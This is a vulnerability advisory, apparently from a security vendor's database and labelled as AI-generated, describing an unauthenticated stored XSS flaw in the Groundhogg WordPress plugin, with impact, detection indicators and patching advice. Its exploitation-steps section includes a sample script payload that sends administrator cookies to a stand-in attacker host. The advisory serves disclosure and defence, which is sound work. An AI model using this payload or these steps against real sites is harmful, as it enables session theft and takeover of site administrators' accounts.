CVE-2026-81660
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-81660 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Groundhogg — CRM, Newsletters, and Marketing Automation WordPress plugin. The flaw affects all versions before 4.5.13 and allows unauthenticated attackers to inject malicious JavaScript through optional web form fields (such as dropdown and radio fields) that are stored and later rendered in the administrative area. It was publicly disclosed on August 28, 2026, with the GitHub Advisory published on August 30, 2026. The vulnerability carries a CVSS score of 8.8 (High) per WPScan, and is classified under CWE-79 (WPScan, Github Advisory).

Technical details

The root cause is insufficient input validation and output escaping (CWE-79) applied to values submitted to optional web form fields — specifically dropdown and radio field types — within the Groundhogg plugin. These user-supplied values are stored in the database without sanitization and later rendered unsanitized in the WordPress administrative area, creating a persistent XSS condition. Because no authentication is required to submit these forms, any visitor can inject a malicious payload. A proof-of-concept is scheduled for public release on September 28, 2026, to allow time for users to update (WPScan, Github Advisory).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any high-privilege user (e.g., WordPress administrator) who views the affected administrative area. This can lead to session hijacking, credential theft, creation of rogue admin accounts, site defacement, or further malicious actions performed with administrator-level privileges. The stored nature of the attack means a single malicious submission can persistently affect all administrators who access the relevant admin page (WPScan).

Exploitability

There is no public proof-of-concept exploit available at this time; WPScan has indicated the PoC will be released on September 28, 2026. No evidence of in-the-wild exploitation has been reported, and the vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities catalog. The EPSS score is reported as 0.0, reflecting low current exploitation probability (WPScan, Github Advisory). The vulnerability was discovered and reported by researcher Artus KG (WPScan).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Groundhogg plugin version below 4.5.13 using tools like WPScan or by inspecting plugin metadata in publicly accessible readme files.
  2. Locate vulnerable form: Find a publicly accessible web form created with the Groundhogg plugin that includes optional dropdown or radio field types.
  3. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be submitted as a field value.
  4. Submit the payload: Submit the form with the malicious JavaScript injected into the vulnerable optional field (dropdown or radio value). No authentication is required.
  5. Wait for admin interaction: The payload is stored in the database. When a high-privilege user (administrator) navigates to the relevant section of the WordPress admin area, the script executes in their browser.
  6. Achieve objective: The executed script can steal session cookies, perform actions as the administrator, create backdoor accounts, or redirect the admin to a phishing page (WPScan).

Indicators of compromise

  • Network: Outbound requests from admin browsers to unexpected external domains shortly after accessing the Groundhogg admin area; unusual POST requests to Groundhogg form submission endpoints containing script tags or encoded JavaScript in field values.
  • Logs: WordPress access logs showing form submissions with suspicious payloads (e.g., <script>, javascript:, onerror=) in optional form field parameters; repeated form submissions from the same IP with varying payloads.
  • Database: Groundhogg contact or form submission records containing raw HTML/JavaScript in dropdown or radio field columns.
  • Browser/Admin: Unexpected redirects or pop-ups when administrators access the Groundhogg contacts or submissions area; new administrator accounts created without authorization.

Mitigation and workarounds

Update the Groundhogg — CRM, Newsletters, and Marketing Automation WordPress plugin to version 4.5.13 or later, which addresses the missing input validation and output escaping (WPScan, Github Advisory). As a temporary measure prior to patching, consider disabling public-facing Groundhogg web forms or restricting access to the administrative area to trusted IP ranges. Implementing a Content Security Policy (CSP) header can reduce the impact of any XSS execution. Audit existing form submissions in the database for suspicious content and remove any malicious entries.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-81766NONEN/A
  • really-simple-ssl
NoYesAug 30, 2026
CVE-2026-81660NONEN/A
  • groundhogg
NoYesAug 30, 2026
CVE-2026-78364NONEN/A
  • mw-wp-form
NoYesAug 30, 2026
CVE-2026-76585NONEN/A
  • customer-reviews-woocommerce
NoYesAug 30, 2026
CVE-2026-19722NONEN/A
  • wpvivid-backuprestore
NoYesAug 30, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management